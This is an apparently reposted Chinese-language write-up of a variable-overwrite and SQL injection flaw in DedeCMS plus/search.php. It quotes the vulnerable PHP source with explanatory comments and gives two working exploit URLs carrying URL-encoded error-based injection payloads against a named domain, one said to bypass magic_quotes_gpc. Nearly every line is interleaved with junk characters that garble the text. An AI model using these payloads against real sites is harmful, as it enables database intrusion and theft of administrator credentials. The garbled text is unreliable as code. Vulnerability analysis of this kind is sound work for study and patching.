微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
8 `% m6 _, S9 s) y5 @5 z4 c作者: c4rp3nt3r@0x50sec.org
! G; [* j- _/ ~* I" t* ~Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.: W8 e% _6 M( {7 O# J: I
! E* k% t1 M: N- U1 Q- K黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
" l1 N1 }; V0 U, ~
4 ^& h, }! [" O v$ w% j4 O* H* E============
0 J" y9 h4 Y; \. i
3 A" `; d; Y# s* H5 e! Y
& r1 i2 S! B9 zDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
& f0 j! |9 N, e' O2 l1 U' B" ~
# A" E0 w9 U- _1 Nrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
# O/ H4 A& A' O# @: brequire_once(DEDEINC.”/arc.searchview.class.php”);# Y0 I5 \# P7 O$ r9 }9 ^; @
8 u% y! c( ?. l$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;/ A' e. A3 h3 y9 }3 F' B4 x
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
# d% d* ^) V- h9 E6 R8 r$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
|, `3 Z, B6 ]- Q$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;* {! m+ G2 L/ {# ^
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
4 [3 a7 d3 ~, B, \7 }
~3 h" D( }( L/ R% Y5 N qif(!isset($orderby)) $orderby=”;( K2 `' s- W9 L. w3 I e6 b
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
. H# w5 v: s/ k' P% j. U. S0 a
5 X% ?9 x" ~& c- b" J" F5 Y" S 0 U! ~& E- p1 r+ x
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- K. N& v% |8 X, Ielse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
2 v2 _5 \& N) A5 r0 _' e3 A # m( b/ `/ Y5 E& j3 _ c2 e
if(!isset($keyword)){
! R g: p% r, C; O7 g4 u, s$ n if(!isset($q)) $q = ”;
1 J" i' m- Y3 ~/ d! A $keyword=$q;+ y* g0 |; G! ?, W, i
}
5 C; @4 y" l6 H6 p5 [' B4 J# `
3 g0 D1 j$ N7 V& ]$ P$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));" i. l; y% `4 H! R/ p( C
3 ?# L8 W- B$ w$ `# W0 q7 x//查找栏目信息7 J' s, P, d$ }, l0 G
if(empty($typeid))
3 [2 U9 a0 e4 F# @{
* l# `0 |) H# _3 D$ X X2 v $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;/ y" L/ L1 }7 u0 H
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
9 C5 N" a6 p( e, g8 K d5 M {% `" G% J; S* Z# z
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);- r1 U8 d" A8 e F7 t! W$ j
fwrite($fp, “<”.”?php\r\n”);8 O) P: m; B" U% j) I) {
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
% H+ U% {3 ]3 P7 q7 N/ b $dsql->Execute();7 G" O; Z5 r8 S; G
while($row = $dsql->GetArray())
2 m. Z5 t( M$ _" D {
. S* F9 y- ~* Q; y0 |7 I fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);0 l$ h$ m" N# T( \' D
}
1 k) k4 R& V4 A) W ~ fwrite($fp, ‘?’.'>’);
8 O, K2 t* {: i& ?' y8 t) v; u. f fclose($fp);
6 ]8 B Y; Z1 [ }
3 W$ U" `4 x1 f, B: H/ S //引入栏目缓存并看关键字是否有相关栏目内容
; J( t) \, e& g9 C8 T( u require_once($typenameCacheFile);+ w1 o( j: s# w- [0 |3 Q: X* j
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
# ] c3 t' z, P! C//
0 o: q7 {5 i3 a/ p if(isset($typeArr) && is_array($typeArr))% S. Q: K: E* q }
{3 z: B: {; i) [% N- k& ~
foreach($typeArr as $id=>$typename)
3 d2 Z7 q9 ^* ]. L4 k4 {0 N {
( c" G5 Y7 d* y
, o' f. v8 @! x! N0 a6 U <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过5 V4 p& Y' p" f9 F3 j0 w* f9 S
if($keyword != $keywordn)
- R$ f1 m! A- ` {9 } Q/ m* c3 H
$keyword = $keywordn;
) D. K; ~4 P6 [4 B# R) N; u% p <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
' M/ \0 I6 j8 K break;
: H9 U6 v+ r6 R+ y+ ]/ a( _ }* [* o& H+ t* Q4 Q# S4 _# u
}
1 L4 g% M/ J j. I9 R }
5 F* L. j- P" J3 r& C1 S}! \6 @% x" M. m" t6 r F1 l4 ~
然后plus/search.php文件下面定义了一个 Search类的对象 .
4 Z9 M9 S) r4 y# X8 T在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
; U% @% a% `( L2 W$this->TypeLink = new TypeLink($typeid);: b2 P( z5 W& Y+ X. h; B3 a$ E; _3 u3 N
# _- {' @# m. @& n/ wTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.% ?+ l: k! R$ {
! G$ F* r5 E. l9 F2 p5 ~1 v% k+ G
class TypeLink
$ W# z6 Q" X; T" V" c4 i5 r; e, @% l& c{
$ v. ^$ o! ^# C7 J* f var $typeDir;
1 O E0 L( Z& O. T& L var $dsql;
4 Y* E% Z2 l! u d b8 h9 R var $TypeID;
1 e' w- g1 f/ G var $baseDir;! Q- P( s; r! B7 v6 |
var $modDir;$ ]9 b" E, V3 C) Z5 `- [% G5 e4 o
var $indexUrl;/ ^. u, D! P& S, B- |0 n
var $indexName;
( Z V- B, a* @8 z var $TypeInfos;
) B* T( t1 K; M" k( H var $SplitSymbol;
]) E' s) c- n* w2 V var $valuePosition;% B: B0 f% k+ V2 N- C0 R; ^. _
var $valuePositionName;
( o2 c) Y5 s/ M% e: D var $OptionArrayList;//构造函数///////8 T) G, ]7 m! ?0 r3 a( c: n
//php5构造函数
; H) { c8 x. Q$ A1 [! U/ i function __construct($typeid)0 J6 o, q( b! p! v
{- ^( H9 \( ?8 W8 @% w9 o
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
4 b! ], A7 P+ B! d- A $this->indexName = $GLOBALS['cfg_indexname'];
4 K9 i4 Z! V7 O1 i* n* h* a $this->baseDir = $GLOBALS['cfg_basedir'];" Q, T. }. c, b+ c0 z3 J
$this->modDir = $GLOBALS['cfg_templets_dir'];
t. `" X) J1 r2 h) `: L $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
8 L. \) X/ l2 c, t9 S $this->dsql = $GLOBALS['dsql'];
- K! H T' H) ? $this->TypeID = $typeid;
" M- F) Q0 K+ h$ t- x5 {& G $this->valuePosition = ”;! R9 D6 z& ]* U
$this->valuePositionName = ”;
" G3 E/ D7 |( a $this->typeDir = ”;2 b. Y% P1 d( b0 p9 d+ Q( a
$this->OptionArrayList = ”;& l4 D' {( O. |, u9 }" I
* [) V. Y6 _! n1 [2 K
//载入类目信息
1 Q$ e9 A- \, e; z3 o: ]( E; z & r- i, H, T5 B$ L
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
7 e# y+ b3 }' j: ~& j6 Yctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join6 J6 x9 w8 N; n& T* `3 Y5 Q
`#@__channeltype` ch
8 P: W J9 t& B2 D9 I" C' Y on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿" u( S8 ~. p6 ?5 P: f
% j3 `" a- z; e. x5 K+ J- D if($typeid > 0); t+ D0 @! s p' y$ Z% @0 I
{$ G) m' w4 e5 x( h& y* {
$this->TypeInfos = $this->dsql->GetOne($query);# }5 [7 K5 l* I7 h( A! Y
利用代码一 需要 即使magic_quotes_gpc = Off
: m* U, U* I3 D% o1 Q7 w
1 r& _% J. C6 _6 xwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
$ \+ e! n2 J/ l! g& R - K" E' q \, B' U. M
这只是其中一个利用代码… Search 类的构造函数再往下; N) K8 ^+ G6 j+ ?( t2 z! l: ^6 Q
. t0 ^2 G8 N3 p5 W4 n5 [- ~……省略
* W; h9 f+ p9 n) D5 t7 |' Y4 I! U$this->TypeID = $typeid;
2 x( M$ ?8 V8 b5 F Y8 q……省略
/ N4 o4 K$ y/ ~% {: bif($this->TypeID==”0″){9 H, R# U! k! t" l1 g
$this->ChannelTypeid=1;/ D( Z4 M+ @) L0 V( }0 q- J
}else{
9 J4 M) k0 r; k $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
4 J5 X% i; g' K n h//现在不鸡肋了吧亲…
@' m3 Z1 k$ J' r6 ? i* W* f" g $this->ChannelTypeid=$row['channeltype'];
8 m% r. P* A! P ! G4 E0 S; d; {5 W- i! ?4 e- J
}& z H4 r2 `: u D" W5 R9 e
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
) A, P/ i7 P9 c 7 T5 @) a" ?1 Q" `. w$ B
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
6 J3 [! Z& Z9 x7 T9 F$ j: ^& H
( Z( L c K( V. H! y, y, {如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站1 n3 o- W2 i( P; J2 J+ k
|